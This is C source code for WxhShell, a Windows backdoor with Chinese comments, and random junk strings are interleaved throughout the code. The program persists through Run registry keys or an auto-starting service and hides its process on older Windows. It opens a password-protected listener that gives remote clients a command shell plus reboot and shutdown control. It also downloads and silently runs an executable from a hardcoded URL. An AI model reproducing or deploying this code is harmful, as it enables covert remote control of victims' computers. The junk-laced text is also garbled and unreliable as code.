(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GV^i`r^" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C-?%uF Q3 eM2i8Y if (!NtQueryInformationProcess) return 0; (^5 7UmFv] =1u@7Bh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m "M("% if(!hProcess) return 0; ncX/L[L <d<mvXbw_@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3VUWX5K? ^47PLLRP CloseHandle(hProcess); u- o--q A#W?2k9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g1UGd if(hProcess==NULL) return 0; UDe |Sb Bcjx>#3?L HMODULE hMod; `xc^_781\ char procName[255]; 7]BW[~77 unsigned long cbNeeded; `- \/$M9s= Hi
yc#-4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +*n-<x5" R.s^o]vT CloseHandle(hProcess); xEltwuDd? /Ux*u# if(strstr(procName,"services")) return 1; // 以服务启动 g!`3{
/4 AWjm~D-? return 0; // 注册表启动 oM)h#8bq } w]_zp?\^
} [<,~3oRu // 主模块 t'~/$=9}
int StartWxhshell(LPSTR lpCmdLine) .,i(2^ { *1'`"D~ SOCKET wsl; jV/CQM5a+ BOOL val=TRUE; >;#=gM int port=0; \NGC$p n struct sockaddr_in door; 8LI-gp\ 2 {Rear2 if(wscfg.ws_autoins) Install(); JI/_ce X>I)~z}9# port=atoi(lpCmdLine); a|BcnYN $x#FgD(iI if(port<=0) port=wscfg.ws_port; D&ve15wL /oL;YIoQX WSADATA data; x-'~Bu if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XG@`ZJhU6 gUAxyV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v`c$!L5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v6GsoQmA door.sin_family = AF_INET; jhGlG-^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;D.h65rr door.sin_port = htons(port); m))<!3 id?#TqD if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o3Vn<Z$/Cl closesocket(wsl); FkqQf8HB return 1; /_\#zC[ } #n L!'k !k if(listen(wsl,2) == INVALID_SOCKET) { A;J MV+2N closesocket(wsl); >m'x8xB= return 1; 7$k8%lI;> } Pz_NDI Wxhshell(wsl); tQ~W EC WSACleanup(); B(DrY1ztj ;XC@=RpX return 0; U{ ;l0 2S 46h@j>/K } _Hd{sd#xX1 MqKye8h9f // 以NT服务方式启动 {S<>&?XB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8yWoPm<A { %>WbmpIyc DWORD status = 0; Vh<A2u3& DWORD specificError = 0xfffffff; + q''y J.RAmU < serviceStatus.dwServiceType = SERVICE_WIN32; '(#g1H3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; S :8OQI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v8I{XU@% serviceStatus.dwWin32ExitCode = 0; gLL\F1|0x serviceStatus.dwServiceSpecificExitCode = 0; nPkZHIxuD serviceStatus.dwCheckPoint = 0; &*&?0ov^" serviceStatus.dwWaitHint = 0; Q0{z).&\(e zQH]s?v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t/Z:)4Z if (hServiceStatusHandle==0) return; p8+/\Ee]B ~"!a9GZ status = GetLastError(); DP7C?}( if (status!=NO_ERROR) 3P <'F2o { [B0K serviceStatus.dwCurrentState = SERVICE_STOPPED; BwJuYH7QJ$ serviceStatus.dwCheckPoint = 0; ^*^/]vM serviceStatus.dwWaitHint = 0; uO >x:*^8 serviceStatus.dwWin32ExitCode = status; 'FzN[% K" serviceStatus.dwServiceSpecificExitCode = specificError; sl/)|~3!8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); \m@Y WO?L return; 0ZC,BS`D^ } uu%?K@Qq #^&jW serviceStatus.dwCurrentState = SERVICE_RUNNING; WjM>kWv serviceStatus.dwCheckPoint = 0; \h3e-) serviceStatus.dwWaitHint = 0; z]Acs if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VG*'"y*%w } sFb4` 3]n0 &MZAR // 处理NT服务事件,比如:启动、停止 {*/dD` VOID WINAPI NTServiceHandler(DWORD fdwControl) )9P&= { ~H[%vdR switch(fdwControl) ., :uZyG { _1jw=5^P\i case SERVICE_CONTROL_STOP: nDlO5 pe"d serviceStatus.dwWin32ExitCode = 0; 3D)b*fPc serviceStatus.dwCurrentState = SERVICE_STOPPED; :w?7j_p# serviceStatus.dwCheckPoint = 0; WwW^[k (X serviceStatus.dwWaitHint = 0; qi+&|80T. { Cj&$%sO1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); r(}nhU Q%E } hteOh#0{ return; 9b6!CNe! case SERVICE_CONTROL_PAUSE: =Mhg serviceStatus.dwCurrentState = SERVICE_PAUSED; PaVO"y]C break; b4 hIeBI\ case SERVICE_CONTROL_CONTINUE: 9.0WKcwg serviceStatus.dwCurrentState = SERVICE_RUNNING; =J@`0H" break; 4R +P case SERVICE_CONTROL_INTERROGATE: @+^c"=d1S break; Lm.`+W5 }; x.EgTvA&d SetServiceStatus(hServiceStatusHandle, &serviceStatus); h)E|?b_ } p\U*;'hv DMkhbo&+ // 标准应用程序主函数 D{AFL.r{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4YJ=q% G { B4O6>' "E>t,
D // 获取操作系统版本 ):bu;3E OsIsNt=GetOsVer(); , deUsc GetModuleFileName(NULL,ExeFile,MAX_PATH); 3#Y3Dz` Q-R}qy5y // 从命令行安装 lIuXo3 if(strpbrk(lpCmdLine,"iI")) Install(); %yaG,;>U DuF7HTN[K // 下载执行文件 '8r8%XI if(wscfg.ws_downexe) { M\yHUS6N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
H4skvIl WinExec(wscfg.ws_filenam,SW_HIDE);
Yg6If7& } +p?hGoF= 'XTs
-= if(!OsIsNt) { 4uX(_5#j // 如果时win9x,隐藏进程并且设置为注册表启动 f[qPG& HideProc(); ypA: P StartWxhshell(lpCmdLine); 8U^D(jrz } IT1PPm else nC~fvyd<P if(StartFromService()) l(Cf7o! // 以服务方式启动 797X71> StartServiceCtrlDispatcher(DispatchTable); 5.k}{{+ else >38
Lt\ // 普通方式启动 G&o64W;-s StartWxhshell(lpCmdLine); z{6YC~ 2cjEex:& return 0; Bn-J_-%M } l#6&WWmr l^,qO3ES aRKv+{K ]xR4->eix =========================================== g9qC{xd M@O2
WB1ws sPpS~wk* nx;$dxx_Ws 4p x_ZD#J aQmfrx " u&SZlkf6% k2OM="Ei} #include <stdio.h> p!GZCf, #include <string.h> MOyT< $ #include <windows.h> k ZK//YN# #include <winsock2.h> [` 'd#pR #include <winsvc.h> ]-KV0H #include <urlmon.h> !
IgoL&= K_##-6> #pragma comment (lib, "Ws2_32.lib") H56
^n<tg #pragma comment (lib, "urlmon.lib") %uEtQh[ .\)k+ R #define MAX_USER 100 // 最大客户端连接数 qsvpW%?aE #define BUF_SOCK 200 // sock buffer OT+ Ee #define KEY_BUFF 255 // 输入 buffer =43d%N
HZuiVW8 #define REBOOT 0 // 重启 fM{1Os #define SHUTDOWN 1 // 关机 A^cU$V%?W B<+pg #define DEF_PORT 5000 // 监听端口 a hwy_\ "<*nZ~nE) #define REG_LEN 16 // 注册表键长度 8;8YA1@w #define SVC_LEN 80 // NT服务名长度 {,F/KL^u +',^((o // 从dll定义API `x4E;Wjv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |1i]L @& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -? Tz.y& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7&px+155 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q!x`M4 tO4):i1 // wxhshell配置信息 T\cR2ZT~ struct WSCFG { j Ii[ int ws_port; // 监听端口 vu ?3$ char ws_passstr[REG_LEN]; // 口令 U,38qKE int ws_autoins; // 安装标记, 1=yes 0=no a6qwL4 char ws_regname[REG_LEN]; // 注册表键名 .}~$1QKS char ws_svcname[REG_LEN]; // 服务名 oc((Yo+B char ws_svcdisp[SVC_LEN]; // 服务显示名 WCoF{* char ws_svcdesc[SVC_LEN]; // 服务描述信息 HNFhH0+^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4$F:NW,v:) int ws_downexe; // 下载执行标记, 1=yes 0=no shy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mw Z'=H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7y;u} 1 -HN%B?}. x }; '5V^}/ w`0)x5
TGR // default Wxhshell configuration ]DU61Z"v?b struct WSCFG wscfg={DEF_PORT, S{ey@X( "xuhuanlingzhe", :Dt\:`(r' 1, RZe#|k+
8 "Wxhshell", HrDTn&/ "Wxhshell",
363cuRP "WxhShell Service", 2pjW,I!` "Wrsky Windows CmdShell Service", 33,;iE "Please Input Your Password: ", h*G#<M 1, Gj5>Y!9 "http://www.wrsky.com/wxhshell.exe", >j)
w\i "Wxhshell.exe" ;{]8>`im&4 }; joY1(Y e"PMvQ // 消息定义模块 srsK:%` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @7 )Z char *msg_ws_prompt="\n\r? for help\n\r#>"; u2\+?`Ox char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; | yS5[?.` char *msg_ws_ext="\n\rExit."; }U(\~
=D char *msg_ws_end="\n\rQuit."; Ou? r {$(b char *msg_ws_boot="\n\rReboot..."; 2q/nAQ+ char *msg_ws_poff="\n\rShutdown..."; XN4oL[pO char *msg_ws_down="\n\rSave to "; Et)920 _ r~+p char *msg_ws_err="\n\rErr!"; 'HJ/2-= char *msg_ws_ok="\n\rOK!"; *$JB`=Q D7M0NEY char ExeFile[MAX_PATH]; ^t`f1rGR int nUser = 0; )&XnM69~b HANDLE handles[MAX_USER]; q%DVDq( z int OsIsNt; Q5hb0O%a 0n\^$WY SERVICE_STATUS serviceStatus; w[e0wh`. SERVICE_STATUS_HANDLE hServiceStatusHandle; >/8ru*Oc I'xC+nL@ // 函数声明 R04.K! int Install(void); c1PViko,> int Uninstall(void); XynU/Go, int DownloadFile(char *sURL, SOCKET wsh); Zo'/^S int Boot(int flag); ;x,+*% void HideProc(void); )-)ss"\+Ju int GetOsVer(void); Fgskb"k/ int Wxhshell(SOCKET wsl); - J{Dxz void TalkWithClient(void *cs); {3.*7gnY\L int CmdShell(SOCKET sock); |OOXh[y int StartFromService(void); Td5bDO int StartWxhshell(LPSTR lpCmdLine); ss/h[4h4h DgC3>
yL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2wGF-V VOID WINAPI NTServiceHandler( DWORD fdwControl ); p
"/(>8 tF<^9stM // 数据结构和表定义 #"hJpyW 4V SERVICE_TABLE_ENTRY DispatchTable[] = 7[4_+Q:} { ^GE^Q\&D& {wscfg.ws_svcname, NTServiceMain}, =d}gv6v2S {NULL, NULL} *Yj~]E0`1 }; +:fqL 5r^1CFO // 自我安装 p(~Y"
H int Install(void) yI3Q |731) { JL?Cnk$! char svExeFile[MAX_PATH]; 45?*:)l: HKEY key; ||yXp2 strcpy(svExeFile,ExeFile); R:]/{b4Uq gW'P`Oxw // 如果是win9x系统,修改注册表设为自启动 uE"5 cq'B/ if(!OsIsNt) { ;R/k2^uF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W+8BQ-2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '$n:CNha RegCloseKey(key); wTB)v ! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N$C{f;xV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AQB1gzE RegCloseKey(key); ?@3#c return 0; /&*m1EN#o } v&p,Clt-2 } kw6cFz } j#7wyi5q else { }A^1q5 7fap* // 如果是NT以上系统,安装为系统服务 c9\B[@-q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); os}b?I*K if (schSCManager!=0) yT[Lzv# { J"/JRn SC_HANDLE schService = CreateService 5dg-d\6S ( UN-T^ schSCManager, \R6;Fef wscfg.ws_svcname, E}]I%fi wscfg.ws_svcdisp, F5<"ktnI SERVICE_ALL_ACCESS, G/NTe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;[FW! SERVICE_AUTO_START, KYnW7|* SERVICE_ERROR_NORMAL, Sg/:n,68 svExeFile, !S~,>,yd NULL, O3_D~O
." NULL, _L?v6MTj NULL, b ^uP^](J NULL, >r;ABz/ NULL R#"U/8b>z ); %T`4!:vy if (schService!=0) q:TZ=bs^ { fn1 ?Qp| CloseServiceHandle(schService);
H;b8I CloseServiceHandle(schSCManager); tn"Y9
k| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ATKYjhc _ strcat(svExeFile,wscfg.ws_svcname); ^zvA?'s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JN{<oxI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :hC
{5!| RegCloseKey(key); v9Z lNA7m! return 0; 1 ;_{US5FR } g,00'z_D } jf$JaY CloseServiceHandle(schSCManager); bHhC56[M } ,"P5D&,_ } .'l.7t Zk~nB}Xw return 1; 0t5Q9#RY } s,1pZT <E eNIkiJ$uS // 自我卸载 BengRG[ int Uninstall(void) u3Zzu \{ { EO4"Z@ji HKEY key; o>xxmyW| ?D RFsA if(!OsIsNt) { [ea6dv4p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *]{9K RegDeleteValue(key,wscfg.ws_regname); tU+@1~
~ RegCloseKey(key); 2"pE&QNd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xB?S#5G} RegDeleteValue(key,wscfg.ws_regname); JIyBhFI RegCloseKey(key); :NwMb^> return 0; )z]q"s5 Y } :N^@a- } NWo7wVwc/c } Ybs=W<- else { 844tXMtPB\ vDu0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tb-OKZq if (schSCManager!=0) uB5h9&57 { a<OCO0irJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ](B&l{V if (schService!=0) 8gVxiFjo { 5?V? if(DeleteService(schService)!=0) { lH#@^i|G CloseServiceHandle(schService); 5;3c< CloseServiceHandle(schSCManager); "/4s8.dw+u return 0; 3e!3.$4M } Nw9-pQ CloseServiceHandle(schService); ,omp F$% } AJ;u&&c4C\ CloseServiceHandle(schSCManager); ka?IX9t\ } L Q I: ]d } )
xfc-Q Bq$e|t)' return 1; cCo07R } f_i"/xC-/ `-72>F ;T // 从指定url下载文件 W (=Wg|cr int DownloadFile(char *sURL, SOCKET wsh) ]wkSAi5z* { '8r8
^g[ HRESULT hr; dO 1-c` char seps[]= "/"; 68&6J's; char *token; l5\B2 +}7 char *file; :$SRG^7md char myURL[MAX_PATH]; ;
McIxvj char myFILE[MAX_PATH]; r85Xa'hh ,?0-=o strcpy(myURL,sURL); BNL8hK`D token=strtok(myURL,seps); L}e"nzTE6I while(token!=NULL) <B]i80. { Dyouk+08x file=token; 1jUhG2y token=strtok(NULL,seps); rZ8Y=) e } (n":]8} WuP([8 GetCurrentDirectory(MAX_PATH,myFILE); X/`#5<x strcat(myFILE, "\\"); :/yr(V{ strcat(myFILE, file); #lBpln9 send(wsh,myFILE,strlen(myFILE),0); t_dw}I send(wsh,"...",3,0); ?l\gh1{C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %#Wg^l
' if(hr==S_OK) 5C Y@R return 0; YA^wUx else <FcPxZ return 1; *f0.= ? )AnlFO+V } zbIwH6 zJG x5JC // 系统电源模块 .WL\:{G8; int Boot(int flag) =BqaGXr { 5I8FD".i HANDLE hToken; [x$eF~Kp TOKEN_PRIVILEGES tkp; -CU7u=*b A]tf>H#1 if(OsIsNt) { eZR8<Z% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9Th32}H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e\d5SKY tkp.PrivilegeCount = 1; [5RFQ! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; we:5gK& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? !oVf> if(flag==REBOOT) { /+<%,c$n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \4\\575zp' return 0; c5B_WqjJ } gq/ePSa else { ,IT)zCpaBP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }> !"SU:d return 0; 8aZey_Hw;+ } sO{0hZkc } ~*' 8=D?) else { |z(Ws if(flag==REBOOT) { |oBdryi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a!0?L0_W& return 0; 7/D9n9F } siss_1J else { I7q?V1fu4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k[r./xEv+t return 0; !dbA ( } ^EuyvftZ } RK~FT/ shDt&_n return 1; HjUw[Yz+6 } I*vj26qvg _} X`t8L h // win9x进程隐藏模块 vHI"C % void HideProc(void) Top#u
{ 9s\i(/RxW U7*VIRibv+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3h D2C'KD if ( hKernel != NULL ) &aevR^f+ { 1VjeP
* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /SqFP
L] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M|Dwk3# FreeLibrary(hKernel);
cT>z } U3_yEvZ q*RaX
4V return; ltr;pc*) } F"m}mf 3f:1D=f // 获取操作系统版本 y1\^v_.^ int GetOsVer(void) hBfzU\*0H { B
GEJiLH OSVERSIONINFO winfo; c> U{,z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G7_"^r%c9; GetVersionEx(&winfo);
wWOT*R_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2ucF(^ return 1; j3rv2W\ else -EkDG]my return 0; u6qi } #H|j-RM2 r;%zGF p // 客户端句柄模块 /[0 /8f6 int Wxhshell(SOCKET wsl) }d~FTre { l6`d48U SOCKET wsh; 2;?wN`}5g= struct sockaddr_in client; 3ciVjH>i DWORD myID; 7ck0S+N'b +sR *d while(nUser<MAX_USER) owpJ7S1~ { #`vGg9 int nSize=sizeof(client); ILr6W@o5A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^pQ;0[9Y0 if(wsh==INVALID_SOCKET) return 1; vn%U;} h[`Op#^x3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C(t6;&H if(handles[nUser]==0) ^d5./M8Bd closesocket(wsh); 7].IT( else 3 ?|; on nUser++; <0Egkz3s } $jeDVH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (fGJP*YO SVs~, return 0; xwH|ryfs,Z } 6dS1\Y ZnhuIAAG // 关闭 socket KEVy%AP=*h void CloseIt(SOCKET wsh) rd 35) { F{H0
% closesocket(wsh); -< dMD_ nUser--; W'2-3J ExitThread(0); R:IS4AaS } |v%RjN l3 pW{p // 客户端请求句柄 9y|&T void TalkWithClient(void *cs) Fx88R! { In9|n^=H@ jVFRq T% SOCKET wsh=(SOCKET)cs; HH~
du char pwd[SVC_LEN]; @#--dOWYR char cmd[KEY_BUFF]; agxSb^ 8tF char chr[1]; L^al1T int i,j; H'h4@S =3v
1]7X while (nUser < MAX_USER) { UVBw;V W$MEbf%1 if(wscfg.ws_passstr) { iQ}sp64 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *6x^w%=A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :qSi>KCGh //ZeroMemory(pwd,KEY_BUFF); )|^<woli, i=0; >yT@?!/Q>' while(i<SVC_LEN) { zm3MOH^a ~lalc ^ // 设置超时 8.%a"sxr fd_set FdRead; cA*X$j6 struct timeval TimeOut; q(PT'z FD_ZERO(&FdRead); >A(?P n{|a FD_SET(wsh,&FdRead); qT>&
v_< TimeOut.tv_sec=8; DdS3<3]A TimeOut.tv_usec=0; !e\R;bYM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dt0E0i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `~+a=Q O7'^*"S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BM$tywC pwd=chr[0]; ,a_{ Y+ if(chr[0]==0xd || chr[0]==0xa) { H.mQbD`X pwd=0; @61N[ break; _BLSI8!N@ } >5vl{{,$K i++; er7/BE& } 09;'z tG^ ?fc // 如果是非法用户,关闭 socket ]-Y]Q%A4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rb}&c)4 } ^`r|3c0 ![hhPYmV send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _DvPF~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G8DIig< ,bwopRcA while(1) { AFB 7s z ?NzeP?g ZeroMemory(cmd,KEY_BUFF); .L{+O6*c nIKT w // 自动支持客户端 telnet标准 dVtLYx j=0; qjEWk." while(j<KEY_BUFF) { k+GK1Yl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2#A9D.- h cmd[j]=chr[0]; ,lS-;. if(chr[0]==0xa || chr[0]==0xd) { y~ 4nF cmd[j]=0; 7(USp#" break; d8
Nh0! } O+Lb***b" j++; 5b4V/d*
' } )qP{X,Uf
83,1d*` // 下载文件 n6UU6t{ if(strstr(cmd,"http://")) { uZ?CVluP send(wsh,msg_ws_down,strlen(msg_ws_down),0); j72]_G if(DownloadFile(cmd,wsh)) +P)[|y +e send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#gE'(J;c else -%gd')@SfD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nC{rs+P } JEF7hJz~ else { n*4X/K ;)pV[3[ switch(cmd[0]) { 4bi\$ }
9s // 帮助 glX2L~ case '?': { ;Y&?ixx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XaS_3d break; ^PR,TR. } @ ZPTf>J} // 安装 k^\&.63( case 'i': { 3udIe$.Q if(Install()) ?BvI/H5d send(wsh,msg_ws_err,strlen(msg_ws_err),0); j!o3g;j else "LIii1]k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0THAI break; ~#km0<r? } :.<TWBo V // 卸载 eo52X&I case 'r': { gWH9=%! if(Uninstall()) LU7)F,ok send(wsh,msg_ws_err,strlen(msg_ws_err),0); A.x}%v,E else v]SE?xF{U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6$<o^Ha*R break; ,fJ(.KI0 } W B[G!'
// 显示 wxhshell 所在路径 LtWU"42 case 'p': { <$2zr4 char svExeFile[MAX_PATH]; ^o\p|f>f strcpy(svExeFile,"\n\r"); dq/?&X strcat(svExeFile,ExeFile); 5@A=,
GPUn send(wsh,svExeFile,strlen(svExeFile),0); Q~!hr0
ZR break; `e=n(D } `'.x*MNF // 重启 gH55caF< case 'b': { CWsv#XOg] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7kpW1tjY if(Boot(REBOOT)) F S+^r\) send(wsh,msg_ws_err,strlen(msg_ws_err),0); SWd[iD else { @M?EgVmW closesocket(wsh); D %
,yA ExitThread(0); &B0&183 } oYErG], break; ER0#$yFpM } J15T!_AW< // 关机 PR6uw case 'd': { i8@e}O I send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y8{1?LO if(Boot(SHUTDOWN)) TaJn2cC^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); na:^7:I else { gH)B`
@ closesocket(wsh); $uB(@Ft. ExitThread(0); CyDf[C)= } lfeWtzOf break; 4EbiCSo } ^Es)?>eah // 获取shell <OfzE5 case 's': { c7!`d.{90 CmdShell(wsh); Cbvl( ( closesocket(wsh); O t<%gj;^ ExitThread(0); <X&:tZ#/ break; tvxcd*{ } F+S#m3X // 退出 ''Ec-b6Q- case 'x': { e`1s[ ^B send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^O*hs%eO% CloseIt(wsh); !Qa7- break; lD#1"$Coz } i3j jPN! // 离开 n(S-F g case 'q': { d'fpaLV send(wsh,msg_ws_end,strlen(msg_ws_end),0); (k.7q~: closesocket(wsh); zNJyF;3 WSACleanup(); ulo7d1OVkJ exit(1); $M\|zUQu. break; Z&W|O>QTl } z)Xf6& } @/}{Trmg/ } l!f/0Rx5 "&/:"~r // 提示信息 P 3uAS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *_d+c G } WjZJQK } )e.Y"5My v)@EK6Nty return; frS1<+ } LO@.aJpp
%Kd&A* // shell模块句柄 ,]@ K6 int CmdShell(SOCKET sock) q;3,}emg { kYBTmz}z STARTUPINFO si; }B2H)dG^K ZeroMemory(&si,sizeof(si)); )@.bkzW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .J' 8d"+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4?XX_=+F| PROCESS_INFORMATION ProcessInfo; c^P8)gPf char cmdline[]="cmd"; _[8xq:G CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FUzIuz 6 return 0; &fA`Od6l" } Lv@JfN"O xB{0lI // 自身启动模式 }OO(uC2 int StartFromService(void) vlCjh! x { ]T\K-;i typedef struct 5VIpA { |D)NPN& DWORD ExitStatus; 9v)p0 DWORD PebBaseAddress; ul~>eZ DWORD AffinityMask; PT4Xr=z = DWORD BasePriority; lJ@2N$w ULONG UniqueProcessId; L%`~`3%n- ULONG InheritedFromUniqueProcessId; jI@0jxF } PROCESS_BASIC_INFORMATION; /km^IH s~Wj h7' PROCNTQSIP NtQueryInformationProcess; ,>CFw-Nxu 9
O| "Ws>{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0'O; H[nrl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5;{d*L :)}iWKAse HANDLE hProcess; :T3I" PROCESS_BASIC_INFORMATION pbi; )
Ph. ~k+"!'1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]g-(|X~> if(NULL == hInst ) return 0; #M*h)/d[A f XxdOn. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sKIWr{D g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b?7?iV4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &n|!
'/H PETrMu< if (!NtQueryInformationProcess) return 0; V ~w(^;o@ pH.wCD:1n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6}mbj=E` if(!hProcess) return 0; "|RP_v2 <4}zl'. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q /EK]B k: PO"<-U CloseHandle(hProcess); '5wa"/ ?w uRG0}>]|U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [P)'LY6F
if(hProcess==NULL) return 0; =-jkp (V@g?|LZ HMODULE hMod; qgrRH' char procName[255]; x|*v(,7b]! unsigned long cbNeeded; *A2J[,?c gWA)V*}f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +B^/ =3P aB<~T[H%h CloseHandle(hProcess); B, nCx=\S gT-'#K2qT if(strstr(procName,"services")) return 1; // 以服务启动 bs
